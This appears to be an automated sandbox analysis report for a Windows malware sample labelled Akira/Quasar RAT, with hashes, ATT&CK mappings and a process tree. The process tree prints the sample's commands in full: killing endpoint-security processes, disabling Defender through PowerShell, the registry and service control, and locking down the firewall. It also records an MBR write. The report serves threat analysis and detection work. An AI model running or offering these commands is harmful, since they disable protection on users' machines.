4cbd09a494fa9d0ac73eae33f6fd5d260025c8003f444534e09e925418c9e9d9

Analysis

max time kernel
6s
max time network
6s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/07/2026, 04:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe
Size 1.9MB
Sample260701-e6931aet7k
SHA256 4cbd09a494fa9d0ac73eae33f6fd5d260025c8003f444534e09e925418c9e9d9
MD5 68a273bfb4eb90245306b5620b59c953
SHA1 0dc608b32991350ebefc281af55e36af1a348519
SHA512 7ab1ff10354ece598b856fa2f28e7e6b5ce8b7c7642425bb8ccead78ca41c332f21be707924de8c70b9e55819e19a5fa75d605fd8a10df3d6bff460a45f07a92
SSDEEP 49152:cDk0SFjBGpzejlLl3kdEkXN7KHrc1CERDTulpwpOlP:oOGpzQAEkXNuHjW43
TLSH
T1EC950207F6A360BCD12AC075935BA573BE36B88A02317DBB13E48A343F65E512F19B15
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

bootkit defense_evasion evasion execution persistence privilege_escalation trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

defense_evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe

Detects executables embedding registry key / value combination indicative of disabling Windows Defen 1 IoCs

resource	yara_rule
behavioral1/memory/4928-7-0x00007FF60D6E0000-0x00007FF60D8C5000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_DisableWinDefender

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
6116	powershell.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5312	netsh.exe
1444	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
6116	powershell.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4120	sc.exe
4152	sc.exe
4484	sc.exe
5228	sc.exe
5564	sc.exe
3848	sc.exe
4012	sc.exe
6140	sc.exe
5724	sc.exe
5988	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
1096	taskkill.exe
2876	taskkill.exe
4380	taskkill.exe
5664	taskkill.exe
628	taskkill.exe
3312	taskkill.exe
5592	taskkill.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3492	powershell.exe
3492	powershell.exe
6116	powershell.exe
6116	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	628	taskkill.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	3312	taskkill.exe
Token: SeDebugPrivilege	5592	taskkill.exe
Token: SeDebugPrivilege	1096	taskkill.exe
Token: SeDebugPrivilege	2876	taskkill.exe
Token: SeDebugPrivilege	4380	taskkill.exe
Token: SeDebugPrivilege	5664	taskkill.exe
Token: SeDebugPrivilege	6116	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4928 wrote to memory of 628	4928	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	86
PID 4928 wrote to memory of 3492	4928	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	89
PID 3492 wrote to memory of 3356	3492	powershell.exe	91
PID 3356 wrote to memory of 3312	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	92
PID 3356 wrote to memory of 5592	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	94
PID 3356 wrote to memory of 1096	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	96
PID 3356 wrote to memory of 2876	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	99
PID 3356 wrote to memory of 4380	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	101
PID 3356 wrote to memory of 5664	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	103
PID 3356 wrote to memory of 6116	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	105
PID 3356 wrote to memory of 5304	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	107
PID 3356 wrote to memory of 1652	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	109
PID 3356 wrote to memory of 4984	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	111
PID 3356 wrote to memory of 4484	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	113
PID 3356 wrote to memory of 6140	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	115
PID 3356 wrote to memory of 5228	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	117
PID 3356 wrote to memory of 5564	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	119
PID 3356 wrote to memory of 5724	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	121
PID 3356 wrote to memory of 5988	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	123
PID 3356 wrote to memory of 4120	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	125
PID 3356 wrote to memory of 4152	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	127
PID 3356 wrote to memory of 3848	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	129
PID 3356 wrote to memory of 4012	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	131
PID 3356 wrote to memory of 5312	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	133
PID 3356 wrote to memory of 1444	3356	2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe	135

C:\Users\Admin\AppData\Local\Temp\2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe
"C:\Users\Admin\AppData\Local\Temp\2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4928
- C:\Windows\system32\taskkill.exe
  "taskkill" /f /im javaw.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -EncodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0AVgBlAHIAYgAgAFIAdQBuAEEAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADIAMAAyADYALQAwADYALQAzADAAXwA2ADgAYQAyADcAMwBiAGYAYgA0AGUAYgA5ADAAMgA0ADUAMwAwADYAYgA1ADYAMgAwAGIANQA5AGMAOQA1ADMAXwBhAGsAaQByAGEAXwBxAHUAYQBzAGEAcgAtAHIAYQB0AC4AZQB4AGUAJwAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC0ALQBlAGwAZQB2AGEAdABlAGQAJwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Users\Admin\AppData\Local\Temp\2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-30_68a273bfb4eb90245306b5620b59c953_akira_quasar-rat.exe" --elevated
    3⤵
    - Writes to the Master Boot Record (MBR)
    - Suspicious use of WriteProcessMemory
    PID:3356
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im javaw.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3312
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5592
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1096
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im cb.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2876
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csfalconservice.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4380
  - - C:\Windows\system32\taskkill.exe
      "taskkill" /f /im csagent.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -DisableIOAVProtection $true -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6116
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      PID:5304
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1652
  - - C:\Windows\system32\reg.exe
      "reg" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:4984
  - - C:\Windows\system32\sc.exe
      "sc" stop WinDefend
      4⤵
      Launches sc.exe
      PID:4484
  - - C:\Windows\system32\sc.exe
      "sc" config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:6140
  - - C:\Windows\system32\sc.exe
      "sc" stop Sense
      4⤵
      Launches sc.exe
      PID:5228
  - - C:\Windows\system32\sc.exe
      "sc" config Sense start= disabled
      4⤵
      Launches sc.exe
      PID:5564
  - - C:\Windows\system32\sc.exe
      "sc" stop WdNisSvc
      4⤵
      Launches sc.exe
      PID:5724
  - - C:\Windows\system32\sc.exe
      "sc" config WdNisSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5988
  - - C:\Windows\system32\sc.exe
      "sc" stop WdBoot
      4⤵
      Launches sc.exe
      PID:4120
  - - C:\Windows\system32\sc.exe
      "sc" config WdBoot start= disabled
      4⤵
      Launches sc.exe
      PID:4152
  - - C:\Windows\system32\sc.exe
      "sc" stop WdFilter
      4⤵
      Launches sc.exe
      PID:3848
  - - C:\Windows\system32\sc.exe
      "sc" config WdFilter start= disabled
      4⤵
      Launches sc.exe
      PID:4012
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles state on
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:5312
  - - C:\Windows\system32\netsh.exe
      "netsh" advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:1444

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 2655308486e53c293961ee262b91f0f36049b0910ffecb1d22efe9494e0c3c3c
MD5 d5846cf3139be236a13e2e7bfdd3d75f
SHA1 f30d5a8014e75994d075126c4baf0da0883c4124
SHA512 9217614ba5d60cb03cc10e32e05df0eeb0ef46d5b0a0a463c8409d2f336e20db034f064c9dfa03f39e95f3d8143e08baa65509f75706f9b5e6e209c31d688669
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_5ndguefl.1ey.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5ndguefl.1ey.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 345B
SHA256 7722d9c9a4ba65b3ced8b606df9f1198603524fd4e854747040005977e8a73e3
MD5 9e933a950ab0dc395b4b2b6490c950b5
SHA1 4641548ecca62165e746f46a24bddbccea83e931
SHA512 02dff402cac09662b99a6e2c76a70516a6b324c788316b8b2d57d948a4c5035304728147061abb6dbbe37d5fba8e4848c607b3e9c9ffb7bb902915be082ac869
TLSH
T16BE0DF6C4AC0C0084FF224938B4D0223189FA7055B10CCB66A38901870389B91BF3E62
MD5 SHA1 SHA512 TLSH

Submit Download

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 1KB
SHA256 0b9a597d25c80ba1c1a44cb1788046f79a448a8f298750b69d00f50b83aec332
MD5 9b7d9c1f8cea152d2dd17f01cef2f0cf
SHA1 ac7dafbb3babc86c581972e80c602c306b2ef783
SHA512 ae30436e4fcb400796bd3c62776ec2e3e045e9a4bc757653f21ed9b54b4b6f91350706c5e2d72f0ae464d292b470296ead76d7c5979edc6d415eda24bb6f5077
TLSH
T11A31172C6EC5E1950FA212679F9D2A03749E17106B2990753E2BC1082231F799AF7E3A
MD5 SHA1 SHA512 TLSH

Submit Download

logs.txt

Path C:\Users\Admin\Desktop\logs.txt
Size 303B
SHA256 264062fe6a8a4e0efadae71d7c3a895cf43a9367b3ea062d0c19bfde2713f2ce
MD5 f2cf032977cac5011234a002ef19f534
SHA1 10f6d92d545ed58608a53e4090bbc01199d8de2c
SHA512 66195dc6cc7fdd6cc82b4591f538e8d5c11c9fca40df4891240fc9d874074fff94bf19df7e927158adb63bcdeca1c5cba7eaf6c78699c7182d1b3230260c14d6
TLSH
T1FEE0C26C4EC1C0084FF620978B4D0263189E67115760DCB57A39901870389B91BF7E61
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3492-9-0x000001895BA90000-0x000001895BAA0000-memory.dmp

Download

memory/3492-8-0x000001895BA90000-0x000001895BAA0000-memory.dmp

Download

memory/3492-15-0x00000189438A0000-0x00000189438C2000-memory.dmp

Download

memory/4928-7-0x00007FF60D6E0000-0x00007FF60D8C5000-memory.dmp

Download